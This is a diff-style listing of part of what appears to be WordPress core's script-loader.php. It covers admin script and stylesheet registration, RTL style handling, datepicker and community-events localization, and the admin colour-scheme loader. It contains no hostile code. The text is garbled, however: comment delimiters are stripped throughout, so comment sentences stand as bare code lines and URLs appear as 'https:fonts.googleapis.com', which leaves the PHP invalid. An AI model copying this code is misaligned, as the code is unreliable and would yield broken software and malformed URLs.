| 1429 | + | $scripts->add( 'media', "/wp-admin/js/media$suffix.js", array( 'jquery', 'clipboard', 'wp-i18n', 'wp-a11y' ), false, 1 ); | |
| 1430 | + | $scripts->set_translations( 'media' ); | |
| 1431 | + | ||
| 1432 | + | $scripts->add( 'image-edit', "/wp-admin/js/image-edit$suffix.js", array( 'jquery', 'jquery-ui-core', 'json2', 'imgareaselect', 'wp-a11y' ), false, 1 ); | |
| 1433 | + | $scripts->set_translations( 'image-edit' ); | |
| 1434 | + | ||
| 1435 | + | $scripts->add( 'set-post-thumbnail', "/wp-admin/js/set-post-thumbnail$suffix.js", array( 'jquery' ), false, 1 ); | |
| 1436 | + | $scripts->set_translations( 'set-post-thumbnail' ); | |
| 1437 | + | ||
| 1438 | + | ||
| 1439 | + | * Navigation Menus: Adding underscore as a dependency to utilize _.debounce | |
| 1440 | + | * see https:core.trac.wordpress.org/ticket/42321 | |
| 1441 | + | ||
| 1442 | + | $scripts->add( 'nav-menu', "/wp-admin/js/nav-menu$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable', 'wp-lists', 'postbox', 'json2', 'underscore' ) ); | |
| 1443 | + | $scripts->set_translations( 'nav-menu' ); | |
| 1444 | + | ||
| 1445 | + | $scripts->add( 'custom-header', '/wp-admin/js/custom-header.js', array( 'jquery-masonry' ), false, 1 ); | |
| 1446 | + | $scripts->add( 'custom-background', "/wp-admin/js/custom-background$suffix.js", array( 'wp-color-picker', 'media-views' ), false, 1 ); | |
| 1447 | + | $scripts->add( 'media-gallery', "/wp-admin/js/media-gallery$suffix.js", array( 'jquery' ), false, 1 ); | |
| 1448 | + | ||
| 1449 | + | $scripts->add( 'svg-painter', '/wp-admin/js/svg-painter.js', array( 'jquery' ), false, 1 ); | |
| 1450 | + | } | |
| 1451 | + | } | |
| 1452 | + | ||
| 1453 | + | * | |
| 1454 | + | * Assigns default styles to $styles object. | |
| 1455 | + | * | |
| 1456 | + | * Nothing is returned, because the $styles parameter is passed by reference. | |
| 1457 | + | * Meaning that whatever object is passed will be updated without having to | |
| 1458 | + | * reassign the variable that was passed back to the same value. This saves | |
| 1459 | + | * memory. | |
| 1460 | + | * | |
| 1461 | + | * Adding default styles is not the only task, it also assigns the base_url | |
| 1462 | + | * property, the default version, and text direction for the object. | |
| 1463 | + | * | |
| 1464 | + | * @since 2.6.0 | |
| 1465 | + | * | |
| 1466 | + | * @global array $editor_styles | |
| 1467 | + | * | |
| 1468 | + | * @param WP_Styles $styles | |
| 1469 | + | ||
| 1470 | + | function wp_default_styles( $styles ) { | |
| 1471 | + | global $editor_styles; | |
| 1472 | + | ||
| 1473 | + | Include an unmodified $wp_version. | |
| 1474 | + | require ABSPATH . WPINC . '/version.php'; | |
| 1475 | + | ||
| 1476 | + | if ( ! defined( 'SCRIPT_DEBUG' ) ) { | |
| 1477 | + | define( 'SCRIPT_DEBUG', false !== strpos( $wp_version, '-src' ) ); | |
| 1478 | + | } | |
| 1479 | + | ||
| 1480 | + | $guessurl = site_url(); | |
| 1481 | + | ||
| 1482 | + | if ( ! $guessurl ) { | |
| 1483 | + | $guessurl = wp_guess_url(); | |
| 1484 | + | } | |
| 1485 | + | ||
| 1486 | + | $styles->base_url = $guessurl; | |
| 1487 | + | $styles->content_url = defined( 'WP_CONTENT_URL' ) ? WP_CONTENT_URL : ''; | |
| 1488 | + | $styles->default_version = get_bloginfo( 'version' ); | |
| 1489 | + | $styles->text_direction = function_exists( 'is_rtl' ) && is_rtl() ? 'rtl' : 'ltr'; | |
| 1490 | + | $styles->default_dirs = array( '/wp-admin/', '/wp-includes/css/' ); | |
| 1491 | + | ||
| 1492 | + | Open Sans is no longer used by core, but may be relied upon by themes and plugins. | |
| 1493 | + | $open_sans_font_url = ''; | |
| 1494 | + | ||
| 1495 | + | ||
| 1496 | + | * translators: If there are characters in your language that are not supported | |
| 1497 | + | * by Open Sans, translate this to 'off'. Do not translate into your own language. | |
| 1498 | + | ||
| 1499 | + | if ( 'off' !== _x( 'on', 'Open Sans font: on or off' ) ) { | |
| 1500 | + | $subsets = 'latin,latin-ext'; | |
| 1501 | + | ||
| 1502 | + | ||
| 1503 | + | * translators: To add an additional Open Sans character subset specific to your language, | |
| 1504 | + | * translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate into your own language. | |
| 1505 | + | ||
| 1506 | + | $subset = _x( 'no-subset', 'Open Sans font: add new subset (greek, cyrillic, vietnamese)' ); | |
| 1507 | + | ||
| 1508 | + | if ( 'cyrillic' === $subset ) { | |
| 1509 | + | $subsets .= ',cyrillic,cyrillic-ext'; | |
| 1510 | + | } elseif ( 'greek' === $subset ) { | |
| 1511 | + | $subsets .= ',greek,greek-ext'; | |
| 1512 | + | } elseif ( 'vietnamese' === $subset ) { | |
| 1513 | + | $subsets .= ',vietnamese'; | |
| 1514 | + | } | |
| 1515 | + | ||
| 1516 | + | Hotlink Open Sans, for now. | |
| 1517 | + | $open_sans_font_url = "https:fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,300,400,600&subset=$subsets&display=fallback"; | |
| 1518 | + | } | |
| 1519 | + | ||
| 1520 | + | Register a stylesheet for the selected admin color scheme. | |
| 1521 | + | $styles->add( 'colors', true, array( 'wp-admin', 'buttons' ) ); | |
| 1522 | + | ||
| 1523 | + | $suffix = SCRIPT_DEBUG ? '' : '.min'; | |
| 1524 | + | ||
| 1525 | + | Admin CSS. | |
| 1526 | + | $styles->add( 'common', "/wp-admin/css/common$suffix.css" ); | |
| 1527 | + | $styles->add( 'forms', "/wp-admin/css/forms$suffix.css" ); | |
| 1528 | + | $styles->add( 'admin-menu', "/wp-admin/css/admin-menu$suffix.css" ); | |
| 1529 | + | $styles->add( 'dashboard', "/wp-admin/css/dashboard$suffix.css" ); | |
| 1530 | + | $styles->add( 'list-tables', "/wp-admin/css/list-tables$suffix.css" ); | |
| 1531 | + | $styles->add( 'edit', "/wp-admin/css/edit$suffix.css" ); | |
| 1532 | + | $styles->add( 'revisions', "/wp-admin/css/revisions$suffix.css" ); | |
| 1533 | + | $styles->add( 'media', "/wp-admin/css/media$suffix.css" ); | |
| 1534 | + | $styles->add( 'themes', "/wp-admin/css/themes$suffix.css" ); | |
| 1535 | + | $styles->add( 'about', "/wp-admin/css/about$suffix.css" ); | |
| 1536 | + | $styles->add( 'nav-menus', "/wp-admin/css/nav-menus$suffix.css" ); | |
| 1537 | + | $styles->add( 'widgets', "/wp-admin/css/widgets$suffix.css", array( 'wp-pointer' ) ); | |
| 1538 | + | $styles->add( 'site-icon', "/wp-admin/css/site-icon$suffix.css" ); | |
| 1539 | + | $styles->add( 'l10n', "/wp-admin/css/l10n$suffix.css" ); | |
| 1540 | + | $styles->add( 'code-editor', "/wp-admin/css/code-editor$suffix.css", array( 'wp-codemirror' ) ); | |
| 1541 | + | $styles->add( 'site-health', "/wp-admin/css/site-health$suffix.css" ); | |
| 1542 | + | ||
| 1543 | + | $styles->add( 'wp-admin', false, array( 'dashicons', 'common', 'forms', 'admin-menu', 'dashboard', 'list-tables', 'edit', 'revisions', 'media', 'themes', 'about', 'nav-menus', 'widgets', 'site-icon', 'l10n' ) ); | |
| 1544 | + | ||
| 1545 | + | $styles->add( 'login', "/wp-admin/css/login$suffix.css", array( 'dashicons', 'buttons', 'forms', 'l10n' ) ); | |
| 1546 | + | $styles->add( 'install', "/wp-admin/css/install$suffix.css", array( 'dashicons', 'buttons', 'forms', 'l10n' ) ); | |
| 1547 | + | $styles->add( 'wp-color-picker', "/wp-admin/css/color-picker$suffix.css" ); | |
| 1548 | + | $styles->add( 'customize-controls', "/wp-admin/css/customize-controls$suffix.css", array( 'wp-admin', 'colors', 'imgareaselect' ) ); | |
| 1549 | + | $styles->add( 'customize-widgets', "/wp-admin/css/customize-widgets$suffix.css", array( 'wp-admin', 'colors' ) ); | |
| 1550 | + | $styles->add( 'customize-nav-menus', "/wp-admin/css/customize-nav-menus$suffix.css", array( 'wp-admin', 'colors' ) ); | |
| 1551 | + | ||
| 1552 | + | Common dependencies. | |
| 1553 | + | $styles->add( 'buttons', "/wp-includes/css/buttons$suffix.css" ); | |
| 1554 | + | $styles->add( 'dashicons', "/wp-includes/css/dashicons$suffix.css" ); | |
| 1555 | + | ||
| 1556 | + | Includes CSS. | |
| 1557 | + | $styles->add( 'admin-bar', "/wp-includes/css/admin-bar$suffix.css", array( 'dashicons' ) ); | |
| 1558 | + | $styles->add( 'wp-auth-check', "/wp-includes/css/wp-auth-check$suffix.css", array( 'dashicons' ) ); | |
| 1559 | + | $styles->add( 'editor-buttons', "/wp-includes/css/editor$suffix.css", array( 'dashicons' ) ); | |
| 1560 | + | $styles->add( 'media-views', "/wp-includes/css/media-views$suffix.css", array( 'buttons', 'dashicons', 'wp-mediaelement' ) ); | |
| 1561 | + | $styles->add( 'wp-pointer', "/wp-includes/css/wp-pointer$suffix.css", array( 'dashicons' ) ); | |
| 1562 | + | $styles->add( 'customize-preview', "/wp-includes/css/customize-preview$suffix.css", array( 'dashicons' ) ); | |
| 1563 | + | $styles->add( 'wp-embed-template-ie', "/wp-includes/css/wp-embed-template-ie$suffix.css" ); | |
| 1564 | + | $styles->add_data( 'wp-embed-template-ie', 'conditional', 'lte IE 8' ); | |
| 1565 | + | ||
| 1566 | + | External libraries and friends. | |
| 1567 | + | $styles->add( 'imgareaselect', '/wp-includes/js/imgareaselect/imgareaselect.css', array(), '0.9.8' ); | |
| 1568 | + | $styles->add( 'wp-jquery-ui-dialog', "/wp-includes/css/jquery-ui-dialog$suffix.css", array( 'dashicons' ) ); | |
| 1569 | + | $styles->add( 'mediaelement', '/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css', array(), '4.2.17' ); | |
| 1570 | + | $styles->add( 'wp-mediaelement', "/wp-includes/js/mediaelement/wp-mediaelement$suffix.css", array( 'mediaelement' ) ); | |
| 1571 | + | $styles->add( 'thickbox', '/wp-includes/js/thickbox/thickbox.css', array( 'dashicons' ) ); | |
| 1572 | + | $styles->add( 'wp-codemirror', '/wp-includes/js/codemirror/codemirror.min.css', array(), '5.29.1-alpha-ee20357' ); | |
| 1573 | + | ||
| 1574 | + | Deprecated CSS. | |
| 1575 | + | $styles->add( 'deprecated-media', "/wp-admin/css/deprecated-media$suffix.css" ); | |
| 1576 | + | $styles->add( 'farbtastic', "/wp-admin/css/farbtastic$suffix.css", array(), '1.3u1' ); | |
| 1577 | + | $styles->add( 'jcrop', '/wp-includes/js/jcrop/jquery.Jcrop.min.css', array(), '0.9.15' ); | |
| 1578 | + | $styles->add( 'colors-fresh', false, array( 'wp-admin', 'buttons' ) ); Old handle. | |
| 1579 | + | $styles->add( 'open-sans', $open_sans_font_url ); No longer used in core as of 4.6. | |
| 1580 | + | ||
| 1581 | + | Noto Serif is no longer used by core, but may be relied upon by themes and plugins. | |
| 1582 | + | $fonts_url = ''; | |
| 1583 | + | ||
| 1584 | + | ||
| 1585 | + | * translators: Use this to specify the proper Google Font name and variants | |
| 1586 | + | * to load that is supported by your language. Do not translate. | |
| 1587 | + | * Set to 'off' to disable loading. | |
| 1588 | + | ||
| 1589 | + | $font_family = _x( 'Noto Serif:400,400i,700,700i', 'Google Font Name and Variants' ); | |
| 1590 | + | if ( 'off' !== $font_family ) { | |
| 1591 | + | $fonts_url = 'https:fonts.googleapis.com/css?family=' . urlencode( $font_family ); | |
| 1592 | + | } | |
| 1593 | + | $styles->add( 'wp-editor-font', $fonts_url ); No longer used in core as of 5.7. | |
| 1594 | + | $block_library_theme_path = WPINC . "/css/dist/block-library/theme$suffix.css"; | |
| 1595 | + | $styles->add( 'wp-block-library-theme', "/$block_library_theme_path" ); | |
| 1596 | + | $styles->add_data( 'wp-block-library-theme', 'path', ABSPATH . $block_library_theme_path ); | |
| 1597 | + | ||
| 1598 | + | $styles->add( | |
| 1599 | + | 'wp-reset-editor-styles', | |
| 1600 | + | "/wp-includes/css/dist/block-library/reset$suffix.css", | |
| 1601 | + | array( 'common', 'forms' ) Make sure the reset is loaded after the default WP Admin styles. | |
| 1602 | + | ); | |
| 1603 | + | ||
| 1604 | + | $styles->add( | |
| 1605 | + | 'wp-editor-classic-layout-styles', | |
| 1606 | + | "/wp-includes/css/dist/edit-post/classic$suffix.css", | |
| 1607 | + | array() | |
| 1608 | + | ); | |
| 1609 | + | ||
| 1610 | + | $wp_edit_blocks_dependencies = array( | |
| 1611 | + | 'wp-components', | |
| 1612 | + | 'wp-editor', | |
| 1613 | + | This need to be added before the block library styles, | |
| 1614 | + | The block library styles override the "reset" styles. | |
| 1615 | + | 'wp-reset-editor-styles', | |
| 1616 | + | 'wp-block-library', | |
| 1617 | + | 'wp-reusable-blocks', | |
| 1618 | + | ); | |
| 1619 | + | ||
| 1620 | + | Only load the default layout and margin styles for themes without theme.json file. | |
| 1621 | + | if ( ! WP_Theme_JSON_Resolver::theme_has_support() ) { | |
| 1622 | + | $wp_edit_blocks_dependencies[] = 'wp-editor-classic-layout-styles'; | |
| 1623 | + | } | |
| 1624 | + | ||
| 1625 | + | if ( ! is_array( $editor_styles ) || count( $editor_styles ) === 0 ) { | |
| 1626 | + | Include opinionated block styles if no $editor_styles are declared, so the editor never appears broken. | |
| 1627 | + | $wp_edit_blocks_dependencies[] = 'wp-block-library-theme'; | |
| 1628 | + | } | |
| 1629 | + | ||
| 1630 | + | $styles->add( | |
| 1631 | + | 'wp-edit-blocks', | |
| 1632 | + | "/wp-includes/css/dist/block-library/editor$suffix.css", | |
| 1633 | + | $wp_edit_blocks_dependencies | |
| 1634 | + | ); | |
| 1635 | + | ||
| 1636 | + | $package_styles = array( | |
| 1637 | + | 'block-editor' => array( 'wp-components' ), | |
| 1638 | + | 'block-library' => array(), | |
| 1639 | + | 'block-directory' => array(), | |
| 1640 | + | 'components' => array(), | |
| 1641 | + | 'edit-post' => array( | |
| 1642 | + | 'wp-components', | |
| 1643 | + | 'wp-block-editor', | |
| 1644 | + | 'wp-editor', | |
| 1645 | + | 'wp-edit-blocks', | |
| 1646 | + | 'wp-block-library', | |
| 1647 | + | 'wp-nux', | |
| 1648 | + | ), | |
| 1649 | + | 'editor' => array( | |
| 1650 | + | 'wp-components', | |
| 1651 | + | 'wp-block-editor', | |
| 1652 | + | 'wp-nux', | |
| 1653 | + | 'wp-reusable-blocks', | |
| 1654 | + | ), | |
| 1655 | + | 'format-library' => array(), | |
| 1656 | + | 'list-reusable-blocks' => array( 'wp-components' ), | |
| 1657 | + | 'reusable-blocks' => array( 'wp-components' ), | |
| 1658 | + | 'nux' => array( 'wp-components' ), | |
| 1659 | + | 'widgets' => array( | |
| 1660 | + | 'wp-components', | |
| 1661 | + | ), | |
| 1662 | + | 'edit-widgets' => array( | |
| 1663 | + | 'wp-widgets', | |
| 1664 | + | 'wp-block-editor', | |
| 1665 | + | 'wp-edit-blocks', | |
| 1666 | + | 'wp-block-library', | |
| 1667 | + | 'wp-reusable-blocks', | |
| 1668 | + | ), | |
| 1669 | + | 'customize-widgets' => array( | |
| 1670 | + | 'wp-widgets', | |
| 1671 | + | 'wp-block-editor', | |
| 1672 | + | 'wp-edit-blocks', | |
| 1673 | + | 'wp-block-library', | |
| 1674 | + | 'wp-reusable-blocks', | |
| 1675 | + | ), | |
| 1676 | + | 'edit-site' => array( | |
| 1677 | + | 'wp-components', | |
| 1678 | + | 'wp-block-editor', | |
| 1679 | + | 'wp-edit-blocks', | |
| 1680 | + | ), | |
| 1681 | + | ); | |
| 1682 | + | ||
| 1683 | + | foreach ( $package_styles as $package => $dependencies ) { | |
| 1684 | + | $handle = 'wp-' . $package; | |
| 1685 | + | $path = "/wp-includes/css/dist/$package/style$suffix.css"; | |
| 1686 | + | ||
| 1687 | + | if ( 'block-library' === $package && wp_should_load_separate_core_block_assets() ) { | |
| 1688 | + | $path = "/wp-includes/css/dist/$package/common$suffix.css"; | |
| 1689 | + | } | |
| 1690 | + | $styles->add( $handle, $path, $dependencies ); | |
| 1691 | + | $styles->add_data( $handle, 'path', ABSPATH . $path ); | |
| 1692 | + | } | |
| 1693 | + | ||
| 1694 | + | RTL CSS. | |
| 1695 | + | $rtl_styles = array( | |
| 1696 | + | Admin CSS. | |
| 1697 | + | 'common', | |
| 1698 | + | 'forms', | |
| 1699 | + | 'admin-menu', | |
| 1700 | + | 'dashboard', | |
| 1701 | + | 'list-tables', | |
| 1702 | + | 'edit', | |
| 1703 | + | 'revisions', | |
| 1704 | + | 'media', | |
| 1705 | + | 'themes', | |
| 1706 | + | 'about', | |
| 1707 | + | 'nav-menus', | |
| 1708 | + | 'widgets', | |
| 1709 | + | 'site-icon', | |
| 1710 | + | 'l10n', | |
| 1711 | + | 'install', | |
| 1712 | + | 'wp-color-picker', | |
| 1713 | + | 'customize-controls', | |
| 1714 | + | 'customize-widgets', | |
| 1715 | + | 'customize-nav-menus', | |
| 1716 | + | 'customize-preview', | |
| 1717 | + | 'login', | |
| 1718 | + | 'site-health', | |
| 1719 | + | Includes CSS. | |
| 1720 | + | 'buttons', | |
| 1721 | + | 'admin-bar', | |
| 1722 | + | 'wp-auth-check', | |
| 1723 | + | 'editor-buttons', | |
| 1724 | + | 'media-views', | |
| 1725 | + | 'wp-pointer', | |
| 1726 | + | 'wp-jquery-ui-dialog', | |
| 1727 | + | Package styles. | |
| 1728 | + | 'wp-reset-editor-styles', | |
| 1729 | + | 'wp-editor-classic-layout-styles', | |
| 1730 | + | 'wp-block-library-theme', | |
| 1731 | + | 'wp-edit-blocks', | |
| 1732 | + | 'wp-block-editor', | |
| 1733 | + | 'wp-block-library', | |
| 1734 | + | 'wp-block-directory', | |
| 1735 | + | 'wp-components', | |
| 1736 | + | 'wp-customize-widgets', | |
| 1737 | + | 'wp-edit-post', | |
| 1738 | + | 'wp-edit-site', | |
| 1739 | + | 'wp-edit-widgets', | |
| 1740 | + | 'wp-editor', | |
| 1741 | + | 'wp-format-library', | |
| 1742 | + | 'wp-list-reusable-blocks', | |
| 1743 | + | 'wp-reusable-blocks', | |
| 1744 | + | 'wp-nux', | |
| 1745 | + | 'wp-widgets', | |
| 1746 | + | Deprecated CSS. | |
| 1747 | + | 'deprecated-media', | |
| 1748 | + | 'farbtastic', | |
| 1749 | + | ); | |
| 1750 | + | ||
| 1751 | + | foreach ( $rtl_styles as $rtl_style ) { | |
| 1752 | + | $styles->add_data( $rtl_style, 'rtl', 'replace' ); | |
| 1753 | + | if ( $suffix ) { | |
| 1754 | + | $styles->add_data( $rtl_style, 'suffix', $suffix ); | |
| 1755 | + | } | |
| 1756 | + | } | |
| 1757 | + | } | |
| 1758 | + | ||
| 1759 | + | * | |
| 1760 | + | * Reorders JavaScript scripts array to place prototype before jQuery. | |
| 1761 | + | * | |
| 1762 | + | * @since 2.3.1 | |
| 1763 | + | * | |
| 1764 | + | * @param string[] $js_array JavaScript scripts array | |
| 1765 | + | * @return string[] Reordered array, if needed. | |
| 1766 | + | ||
| 1767 | + | function wp_prototype_before_jquery( $js_array ) { | |
| 1768 | + | $prototype = array_search( 'prototype', $js_array, true ); | |
| 1769 | + | ||
| 1770 | + | if ( false === $prototype ) { | |
| 1771 | + | return $js_array; | |
| 1772 | + | } | |
| 1773 | + | ||
| 1774 | + | $jquery = array_search( 'jquery', $js_array, true ); | |
| 1775 | + | ||
| 1776 | + | if ( false === $jquery ) { | |
| 1777 | + | return $js_array; | |
| 1778 | + | } | |
| 1779 | + | ||
| 1780 | + | if ( $prototype < $jquery ) { | |
| 1781 | + | return $js_array; | |
| 1782 | + | } | |
| 1783 | + | ||
| 1784 | + | unset( $js_array[ $prototype ] ); | |
| 1785 | + | ||
| 1786 | + | array_splice( $js_array, $jquery, 0, 'prototype' ); | |
| 1787 | + | ||
| 1788 | + | return $js_array; | |
| 1789 | + | } | |
| 1790 | + | ||
| 1791 | + | * | |
| 1792 | + | * Loads localized data on print rather than initialization. | |
| 1793 | + | * | |
| 1794 | + | * These localizations require information that may not be loaded even by init. | |
| 1795 | + | * | |
| 1796 | + | * @since 2.5.0 | |
| 1797 | + | ||
| 1798 | + | function wp_just_in_time_script_localization() { | |
| 1799 | + | ||
| 1800 | + | wp_localize_script( | |
| 1801 | + | 'autosave', | |
| 1802 | + | 'autosaveL10n', | |
| 1803 | + | array( | |
| 1804 | + | 'autosaveInterval' => AUTOSAVE_INTERVAL, | |
| 1805 | + | 'blog_id' => get_current_blog_id(), | |
| 1806 | + | ) | |
| 1807 | + | ); | |
| 1808 | + | ||
| 1809 | + | wp_localize_script( | |
| 1810 | + | 'mce-view', | |
| 1811 | + | 'mceViewL10n', | |
| 1812 | + | array( | |
| 1813 | + | 'shortcodes' => ! empty( $GLOBALS['shortcode_tags'] ) ? array_keys( $GLOBALS['shortcode_tags'] ) : array(), | |
| 1814 | + | ) | |
| 1815 | + | ); | |
| 1816 | + | ||
| 1817 | + | wp_localize_script( | |
| 1818 | + | 'word-count', | |
| 1819 | + | 'wordCountL10n', | |
| 1820 | + | array( | |
| 1821 | + | ||
| 1822 | + | * translators: If your word count is based on single characters (e.g. East Asian characters), | |
| 1823 | + | * enter 'characters_excluding_spaces' or 'characters_including_spaces'. Otherwise, enter 'words'. | |
| 1824 | + | * Do not translate into your own language. | |
| 1825 | + | ||
| 1826 | + | 'type' => _x( 'words', 'Word count type. Do not translate!' ), | |
| 1827 | + | 'shortcodes' => ! empty( $GLOBALS['shortcode_tags'] ) ? array_keys( $GLOBALS['shortcode_tags'] ) : array(), | |
| 1828 | + | ) | |
| 1829 | + | ); | |
| 1830 | + | } | |
| 1831 | + | ||
| 1832 | + | * | |
| 1833 | + | * Localizes the jQuery UI datepicker. | |
| 1834 | + | * | |
| 1835 | + | * @since 4.6.0 | |
| 1836 | + | * | |
| 1837 | + | * @link https:api.jqueryui.com/datepicker/#options | |
| 1838 | + | * | |
| 1839 | + | * @global WP_Locale $wp_locale WordPress date and time locale object. | |
| 1840 | + | ||
| 1841 | + | function wp_localize_jquery_ui_datepicker() { | |
| 1842 | + | global $wp_locale; | |
| 1843 | + | ||
| 1844 | + | if ( ! wp_script_is( 'jquery-ui-datepicker', 'enqueued' ) ) { | |
| 1845 | + | return; | |
| 1846 | + | } | |
| 1847 | + | ||
| 1848 | + | Convert the PHP date format into jQuery UI's format. | |
| 1849 | + | $datepicker_date_format = str_replace( | |
| 1850 | + | array( | |
| 1851 | + | 'd', | |
| 1852 | + | 'j', | |
| 1853 | + | 'l', | |
| 1854 | + | 'z', Day. | |
| 1855 | + | 'F', | |
| 1856 | + | 'M', | |
| 1857 | + | 'n', | |
| 1858 | + | 'm', Month. | |
| 1859 | + | 'Y', | |
| 1860 | + | 'y', Year. | |
| 1861 | + | ), | |
| 1862 | + | array( | |
| 1863 | + | 'dd', | |
| 1864 | + | 'd', | |
| 1865 | + | 'DD', | |
| 1866 | + | 'o', | |
| 1867 | + | 'MM', | |
| 1868 | + | 'M', | |
| 1869 | + | 'm', | |
| 1870 | + | 'mm', | |
| 1871 | + | 'yy', | |
| 1872 | + | 'y', | |
| 1873 | + | ), | |
| 1874 | + | get_option( 'date_format' ) | |
| 1875 | + | ); | |
| 1876 | + | ||
| 1877 | + | $datepicker_defaults = wp_json_encode( | |
| 1878 | + | array( | |
| 1879 | + | 'closeText' => __( 'Close' ), | |
| 1880 | + | 'currentText' => __( 'Today' ), | |
| 1881 | + | 'monthNames' => array_values( $wp_locale->month ), | |
| 1882 | + | 'monthNamesShort' => array_values( $wp_locale->month_abbrev ), | |
| 1883 | + | 'nextText' => __( 'Next' ), | |
| 1884 | + | 'prevText' => __( 'Previous' ), | |
| 1885 | + | 'dayNames' => array_values( $wp_locale->weekday ), | |
| 1886 | + | 'dayNamesShort' => array_values( $wp_locale->weekday_abbrev ), | |
| 1887 | + | 'dayNamesMin' => array_values( $wp_locale->weekday_initial ), | |
| 1888 | + | 'dateFormat' => $datepicker_date_format, | |
| 1889 | + | 'firstDay' => absint( get_option( 'start_of_week' ) ), | |
| 1890 | + | 'isRTL' => $wp_locale->is_rtl(), | |
| 1891 | + | ) | |
| 1892 | + | ); | |
| 1893 | + | ||
| 1894 | + | wp_add_inline_script( 'jquery-ui-datepicker', "jQuery(function(jQuery){jQuery.datepicker.setDefaults({$datepicker_defaults});});" ); | |
| 1895 | + | } | |
| 1896 | + | ||
| 1897 | + | * | |
| 1898 | + | * Localizes community events data that needs to be passed to dashboard.js. | |
| 1899 | + | * | |
| 1900 | + | * @since 4.8.0 | |
| 1901 | + | ||
| 1902 | + | function wp_localize_community_events() { | |
| 1903 | + | if ( ! wp_script_is( 'dashboard' ) ) { | |
| 1904 | + | return; | |
| 1905 | + | } | |
| 1906 | + | ||
| 1907 | + | require_once ABSPATH . 'wp-admin/includes/class-wp-community-events.php'; | |
| 1908 | + | ||
| 1909 | + | $user_id = get_current_user_id(); | |
| 1910 | + | $saved_location = get_user_option( 'community-events-location', $user_id ); | |
| 1911 | + | $saved_ip_address = isset( $saved_location['ip'] ) ? $saved_location['ip'] : false; | |
| 1912 | + | $current_ip_address = WP_Community_Events::get_unsafe_client_ip(); | |
| 1913 | + | ||
| 1914 | + | ||
| 1915 | + | * If the user's location is based on their IP address, then update their | |
| 1916 | + | * location when their IP address changes. This allows them to see events | |
| 1917 | + | * in their current city when travelling. Otherwise, they would always be | |
| 1918 | + | * shown events in the city where they were when they first loaded the | |
| 1919 | + | * Dashboard, which could have been months or years ago. | |
| 1920 | + | ||
| 1921 | + | if ( $saved_ip_address && $current_ip_address && $current_ip_address !== $saved_ip_address ) { | |
| 1922 | + | $saved_location['ip'] = $current_ip_address; | |
| 1923 | + | update_user_meta( $user_id, 'community-events-location', $saved_location ); | |
| 1924 | + | } | |
| 1925 | + | ||
| 1926 | + | $events_client = new WP_Community_Events( $user_id, $saved_location ); | |
| 1927 | + | ||
| 1928 | + | wp_localize_script( | |
| 1929 | + | 'dashboard', | |
| 1930 | + | 'communityEventsData', | |
| 1931 | + | array( | |
| 1932 | + | 'nonce' => wp_create_nonce( 'community_events' ), | |
| 1933 | + | 'cache' => $events_client->get_cached_events(), | |
| 1934 | + | 'time_format' => get_option( 'time_format' ), | |
| 1935 | + | ) | |
| 1936 | + | ); | |
| 1937 | + | } | |
| 1938 | + | ||
| 1939 | + | * | |
| 1940 | + | * Administration Screen CSS for changing the styles. | |
| 1941 | + | * | |
| 1942 | + | * If installing the 'wp-admin/' directory will be replaced with './'. | |
| 1943 | + | * | |
| 1944 | + | * The $_wp_admin_css_colors global manages the Administration Screens CSS | |
| 1945 | + | * stylesheet that is loaded. The option that is set is 'admin_color' and is the | |
| 1946 | + | * color and key for the array. The value for the color key is an object with | |
| 1947 | + | * a 'url' parameter that has the URL path to the CSS file. | |
| 1948 | + | * | |
| 1949 | + | * The query from $src parameter will be appended to the URL that is given from | |
| 1950 | + | * the $_wp_admin_css_colors array value URL. | |
| 1951 | + | * | |
| 1952 | + | * @since 2.6.0 | |
| 1953 | + | * | |
| 1954 | + | * @global array $_wp_admin_css_colors | |
| 1955 | + | * | |
| 1956 | + | * @param string $src Source URL. | |
| 1957 | + | * @param string $handle Either 'colors' or 'colors-rtl'. | |
| 1958 | + | * @return string|false URL path to CSS stylesheet for Administration Screens. | |
| 1959 | + | ||
| 1960 | + | function wp_style_loader_src( $src, $handle ) { | |
| 1961 | + | global $_wp_admin_css_colors; | |
| 1962 | + | ||
| 1963 | + | if ( wp_installing() ) { | |
| 1964 | + | return preg_replace( '#^wp-admin/#', './', $src ); | |
| 1965 | + | } | |
| 1966 | + | ||
| 1967 | + | if ( 'colors' === $handle ) { | |
| 1968 | + | $color = get_user_option( 'admin_color' ); | |
| 1969 | + | ||
| 1970 | + | if ( empty( $color ) || ! isset( $_wp_admin_css_colors[ $color ] ) ) { | |
| 1971 | + | $color = 'fresh'; | |
| 1972 | + | } | |
| 1973 | + | ||
| 1974 | + | $color = $_wp_admin_css_colors[ $color ]; | |
| 1975 | + | $url = $color->url; | |
| 1976 | + | ||
| 1977 | + | if ( ! $url ) { | |
| 1978 | + | return false; | |
| 1979 | + | } | |
| 1980 | + | ||
| 1981 | + | $parsed = parse_url( $src ); | |
| 1982 | + | if ( isset( $parsed['query'] ) && $parsed['query'] ) { | |
| 1983 | + | wp_parse_str( $parsed['query'], $qv ); | |
| 1984 | + | $url = add_query_arg( $qv, $url ); | |
| 1985 | + | } | |
| 1986 | + | ||
| 1987 | + | return $url; | |
| 1988 | + | } | |
| 1989 | + | ||
| 1990 | + | return $src; | |
| 1991 | + | } | |
| 1992 | + | ||
| 1993 | + | * | |
| 1994 | + | * Prints the script queue in the HTML head on admin pages. | |
| 1995 | + | * | |
| 1996 | + | * Postpones the scripts that were queued for the footer. | |
| 1997 | + | * print_footer_scripts() is called in the footer to print these scripts. | |
| 1998 | + | * | |
| 1999 | + | * @since 2.8.0 | |
| 2000 | + | * | |
| 2001 | + | * @see wp_print_scripts() | |
| 2002 | + | * | |
| 2003 | + | * @global bool $concatenate_scripts | |
| 2004 | + | * | |
| 2005 | + | * @return array | |
| 2006 | + | ||
| 2007 | + | function print_head_scripts() { | |
| 2008 | + | global $concatenate_scripts; | |
| 2009 | + | ||
| 2010 | + | if ( ! did_action( 'wp_print_scripts' ) ) { | |
| 2011 | + | * This action is documented in wp-includes/functions.wp-scripts.php | |
| 2012 | + | do_action( 'wp_print_scripts' ); | |
| 2013 | + | } | |
| 2014 | + | ||
| 2015 | + | $wp_scripts = wp_scripts(); | |
| 2016 | + | ||
| 2017 | + | script_concat_settings(); | |
| 2018 | + | $wp_scripts->do_concat = $concatenate_scripts; | |
| 2019 | + | $wp_scripts->do_head_items(); | |
| 2020 | + | ||
| 2021 | + | * | |
| 2022 | + | * Filters whether to print the head scripts. | |
| 2023 | + | * | |
